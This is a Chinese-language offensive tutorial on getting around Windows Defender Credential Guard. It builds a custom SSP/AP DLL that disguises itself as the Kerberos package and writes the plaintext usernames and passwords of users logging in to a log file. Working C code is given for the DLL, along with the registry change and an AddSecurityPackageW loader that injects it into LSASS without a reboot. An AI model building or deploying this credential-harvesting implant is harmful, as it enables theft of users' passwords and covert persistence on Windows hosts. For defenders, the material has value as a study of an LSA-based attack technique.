0. 背景

為了避免攻擊者轉儲用戶的憑據信息,從 Windows 10 1507 企業版和 Windows Server 2016 開始,微軟引入了 Windows Defender Credential Guard 安全控制機制,其使用基于虛擬化的安全性來隔離機密,依次保護 NTLM 密碼哈希、Kerberos TGT 票據和應用程序存儲為域憑據的憑據來防止憑據盜竊、哈希傳遞或票據傳遞等攻擊。

在 Windows 10 之前,LSA 將操作系統所使用的密碼存儲在其進程內存中。啟用 Windows Defender Credential Guard 后,操作系統中的 LSA 進程與存儲和保護這些密鑰的新組件(稱為隔離的 LSA 進程,Isolated LSA Process)進行通信。獨立 LSA 進程存儲的數據使用基于虛擬化的安全性進行保護,操作系統的其余部分無法訪問。LSA 使用遠程過程調用來與隔離的 LSA 進程進行通信。

下圖簡要概述了如何使用基于虛擬化的安全性來隔離 LSA:

Source:How Credential Guard works

如果我們在啟用了 Credential Guard 的系統上嘗試使用 Mimikatz 從 LSASS 進程內存中提取憑證,我們會觀察到以下結果。

如上圖所示,我們無法從 LSASS 內存中提取任何憑據,NTLM 哈希處顯示的是 “LSA Isolated Data: NtlmHash”。并且,即便已經通過修改注冊表啟用了 Wdigest,也依然獲取不到任何明憑據。

為了進行比較,下圖所示為不受 Credential Guard 保護的系統上的輸出。

從 Windows 11 Enterprise, Version 22H2 和 Windows 11 Education, Version 22H 開始,兼容系統默認已啟用 Windows Defender Credential Guard。

1. 基礎知識

1.1 自定義安全包

自定義安全包 API 支持組合開發自定義安全支持提供程序(SSP),后者為客戶端/服務器應用程序提供非交互身份驗證服務和安全消息交換,以及開發自定義身份驗證包,為執行交互式身份驗證的應用程序提供服務。這些服務在單個包中合并時稱為安全支持提供程序/身份驗證包(SSP/AP)。

SSP/AP 中部署的安全包與 LSA 完全集成。使用可用于自定義安全包的 LSA 支持函數,開發人員可以實現高級安全功能,例如令牌創建、 補充憑據支持和直通身份驗證。

如果我們自定義安全支持提供程序/身份驗證包(SSP/AP),并將其注冊到系統,當用戶重新進行交互式身份驗證時,系統就會同通過我們自定義的 SSP/AP 傳遞明文憑據,這意味著我們可以提取到明文憑據并將其保存下來。這樣便可以繞過 Credential Guard 的保護機制。

SSP/AP 安全包,為了同時執行身份驗證包(AP)和安全支持提供程序(SSP),可以作為操作系統的一部分以及作為用戶應用程序的一部分執行。這兩種執行模式分別稱為 LSA 模式和用戶模式。這里我們需要的是 LSA 模式。

下面簡單介紹一下關于 LSA 模式的初始化。

1.2 LSA 模式初始化

啟動計算機系統后,本地安全機構(LSA)會自動將所有已注冊的安全支持提供程序/身份驗證包(SSP/AP)的 DLL 加載到其進程空間中,下圖顯示了初始化過程。

“Kerberos” 表示 Microsoft Kerberos SSP/AP,“My SSP/AP” 表示包含兩個自定義安全包的自定義 SSP/AP。

啟動時,LSA 調用每個 SSP/AP 中的 SpLsaModeInitialize() 函數,以獲取指向 DLL 中每個安全包實現的函數的指針,函數指針以 SECPKG_FUNCTION_TABLE 結構數組的形式傳遞給 LSA。

收到一組 SECPKG_FUNCTION_TABLE 結構后,LSA 將調用每個安全包的 SpInitialize() 函數。LSA 使用此函數調用傳遞給每個安全包一個 LSA_SECPKG_FUNCTION_TABLE 結構,其中包含指向安全包調用的 LSA 函數的指針。除了存儲指向 LSA 支持函數的指針外,自定義安全包還應使用 SpInitialize() 函數的實現來執行任何與初始化相關的處理。

在這里,我們的 SSP/AP 安全包需要實現下表中所示的幾個函數。

由 SSP/AP 實現的函數說明SpInitialize執行初始化處理,并提供一個函數指針列表。SpShutDown在卸載 SSP/AP 之前執行所需的任何清理。SpGetInfo提供有關安全包的一般信息,例如其名稱、描述和功能。SpAcceptCredentials將為經過身份驗證的安全主體存儲的憑據傳遞給安全包。

1.3 由 SSP/AP 實現的函數

以下函數由我們自定義的安全支持提供程序/身份驗證包(SSP/AP)實現,本地安全機構(LSA)通過使用 SSP/AP 的 SpLsaModeInitialize 函數提供的 SECPKG_FUNCTION_TABLE 結構來訪問這些函數。

SpInitialize

SpInitialize 函數由本地安全機構(LSA)調用一次,用于執行任何與初始化相關的處理,并提供一個函數指針列表,其中包含安全包調用的 LSA 函數的指針。

函數聲明如下:

NTSTATUS Spinitializefn(
  [in] ULONG_PTR PackageId,
  [in] PSECPKG_PARAMETERS Parameters,
  [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable
);

參數如下:

  • ? [in] PackageId:LSA 分配給每個安全包的唯一標識符。該值在重新啟動系統之前有效。
  • ? [in] Parameters:指向包含主域和計算機狀態信息的 SECPKG_PARAMETERS 結構的指針。
  • ? [in] FunctionTable:指向可以安全包調用的 LSA 函數的指針列表。

SpShutDown

SpShutDown 函數在卸載安全支持提供程序/身份驗證包 (SSP/AP) 之前,由本地安全機構(LSA)調用,用于在卸載 SSP/AP 之前執行所需的任何清理,以便釋放資源。

函數聲明如下:

NTSTATUS SpShutDown(void);

這個函數沒有參數。

SpGetInfo

SpGetInfo 函數提供有關安全包的一般信息,例如其名稱和功能描述。客戶端調用安全支持提供程序接口(SSPI)的 QuerySecurityPackageInfo 函數時,將調用 SpGetInfo 函數。

函數聲明如下:

NTSTATUS Spgetinfofn(
  [out] PSecPkgInfo PackageInfo
);

參數如下:

  • ? [out] PackageInfo:指向由本地安全機構(LSA)分配的 SecPkgInfo 結構的指針,必須由包填充。

SpAcceptCredentials

SpAcceptCredentials 函數由本地安全機構(LSA)調用,以將為經過身份驗證的安全主體存儲的任何憑據傳遞給安全包。為 LSA 存儲的每組憑據調用一次此函數。

函數聲明如下:

NTSTATUS Spacceptcredentialsfn(
  [in] SECURITY_LOGON_TYPE LogonType,
  [in] PUNICODE_STRING AccountName,
  [in] PSECPKG_PRIMARY_CRED PrimaryCredentials,
  [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials
);

參數如下:

  • ? [in] LogonType:指示登錄類型的 SECURITY_LOGON_TYPE 值。
  • ? [in] AccountName:指向存儲登錄帳戶名稱的 UNICODE_STRING 結構的指針。
  • ? [in] PrimaryCredentials:指向包含登錄憑據的 SECPKG_PRIMARY_CRED 結構的指針。
  • ? [in] SupplementalCredentials:指向包含特定于包的補充憑據的 ECPKG_SUPPLEMENTAL_CRED 結構的指針。

2. 編程實現

通過 C/C++ 創建一個名為 CustSSP 的 DLL 項目,實現自定義 SSP/AP 包。由于篇幅限制,筆者僅提供關鍵代碼部分。

#include "pch.h"
static SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {
    {
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    _SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL
    }
};
NTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)
{
    return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpShutDown(void)
{
    return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)
{
    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    PackageInfo->wVersion = 1;
    PackageInfo->wRPCID = SECPKG_ID_NONE;
    PackageInfo->cbMaxToken = 0;
    PackageInfo->Name = (SEC_WCHAR*)L"Kerberos";
    PackageInfo->Comment = (SEC_WCHAR*)L"Microsoft Kerberos V5.0";
    return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
    const wchar_t* LSA_LOGON_TYPE[] = {
        L"UndefinedLogonType",
        L"Unknown !",
        L"Interactive",
        L"Network",
        L"Batch",
        L"Service",
        L"Proxy",
        L"Unlock",
        L"NetworkCleartext",
        L"NewCredentials",
        L"RemoteInteractive",
        L"CachedInteractive",
        L"CachedRemoteInteractive",
        L"CachedUnlock",
    };
    FILE* logfile;
    if (_wfopen_s(&logfile, L"CustSSP.log", L"a") == 0)
    {
        SspLog(
            logfile,
            L">>>>================================================================="
            L"[+] Authentication Id : %u:%u (%08x:%08x)"
            L"[+] Logon Type        : %s"
            L"[+] User Name         : %wZ"
            L"[+] Domain            : %wZ"
            L"[+] Logon Server      : %wZ"
            L"[+] SID               : %s"
            L"[+] SSP Credential    : "
            L"\t* UserName    : %wZ"
            L"\t* Domain      : %wZ"
            L"\t* Password    : ",
            PrimaryCredentials->LogonId.HighPart,
            PrimaryCredentials->LogonId.LowPart,
            PrimaryCredentials->LogonId.HighPart,
            PrimaryCredentials->LogonId.LowPart,
            LSA_LOGON_TYPE[LogonType],
            AccountName,
            &PrimaryCredentials->DomainName,
            &PrimaryCredentials->LogonServer,
            SidToString(PrimaryCredentials->UserSid),
            &PrimaryCredentials->DownlevelName,
            &PrimaryCredentials->DomainName
        );
        SspLogPassword(logfile, &PrimaryCredentials->Password);
        SspLog(logfile, L"");
        fclose(logfile);
    }
    return STATUS_SUCCESS;
}
NTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)
{
    *PackageVersion = SECPKG_INTERFACE_VERSION;
    *ppTables = SecPkgFunctionTable;
    *pcTables = ARRAYSIZE(SecPkgFunctionTable);
    return STATUS_SUCCESS;
}

在 CustSSP 中,我們依次實現了 SpInitialize、SpShutDown、SpGetInfo 和 SpAcceptCredentials 函數,并定義了一個名為 SecPkgFunctionTable 的 SECPKG_FUNCTION_TABLE 結構,用于存儲指向這些函數的指針。

之后,我們通過定義 .def 文件將 CustSSP 中定義的 SpLsaModeInitialize 函數導出,如下所示。該函數會被本地安全機構(LSA)調用一次,從而將 CustSSP 中實現的函數的指針提供給 LSA。

LIBRARY
EXPORTS
    SpLsaModeInitialize  = _SpLsaModeInitialize

3. 運行效果演示

將編譯生成的 CustSSP.dll 置于 C:\Windows\System32 目錄中,并將 “CustSSP” 添加到以下注冊表值的數據中,如下圖所示。

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\Security Packages
通常,SSP/AP DLL 存儲在 %SystemRoot%/System32 目錄中。如果這是自定義 SSP/AP DLL 的路徑,則不包括路徑作為 DLL 名稱的一部分。但是,如果 DLL 位于其他路徑中,請在名稱中包含 DLL 的完整路徑。

當目標主機重新啟動并進行交互式身份驗證后,將在 C:\Windows\System32\CustSSP.log 中記錄當前登錄用戶的明文密碼,如下圖所示。

成功利用該方法的條件是必須重新啟動目標系統。因此只有啟動計算機系統后,本地安全機構(LSA)才會自動將已注冊的 SSP/AP 的 DLL 加載到其進程空間中。

然而,利用某些 Windows API,我們可以在不重啟的情況下添加 SSP/AP。

4. 利用 AddSecurityPackage API 來加載 SSP/AP

AddSecurityPackage 是一個 SSPI 函數,用于將安全支持提供程序添加到提供程序列表中,該函數聲明如下。

SECURITY_STATUS SEC_ENTRY AddSecurityPackageW(
  [in] LPSTR                     pszPackageName,
  [in] PSECURITY_PACKAGE_OPTIONS pOptions
);

參數如下:

  • ? [in] pszPackageName:要添加的包的名稱。
  • ? [in] pOptions:指向 SECURITY_PACKAGE_OPTIONS 結構的指針,該結構指定有關安全包的其他信息。

通過 C/C++ 創建一個名為 AddSSP 的項目,其代碼如下所示。

#define SECURITY_WIN32
#include 
#include 
#include 
#pragma comment(lib,"Secur32.lib")
int wmain(int argc, char** argv) {
    SECURITY_PACKAGE_OPTIONS option;
    option.Size = sizeof(option);
    option.Flags = 0;
    option.Type = SECPKG_OPTIONS_TYPE_LSA;
    option.SignatureSize = 0;
    option.Signature = NULL;
    
    // AddSecurityPackageW 默認在 System32 目錄中搜索 CustSSP.dll
    if (AddSecurityPackageW((LPWSTR)L"CustSSP", &option) == SEC_E_OK)
    {
        wprintf(L"[*] Add security package successfully");
    }
}

編譯并生成 AddSSP.exe 后,運行 AddSSP.exe 即可成功將 CustSSP.dll 添加到系統。需要注意的是,以上代碼僅將 CustSSP 加載到 LSASS 進程中,系統重啟后會失效,因此仍需將 “CustSSP” 添加到 Security Packages 注冊表并將 CustSSP.dll 置于 C:\Windows\System32 目錄中。

當用戶輸入用戶名密碼重新進行身份驗證時,我們重新得到了他的明文密碼,如下圖所示。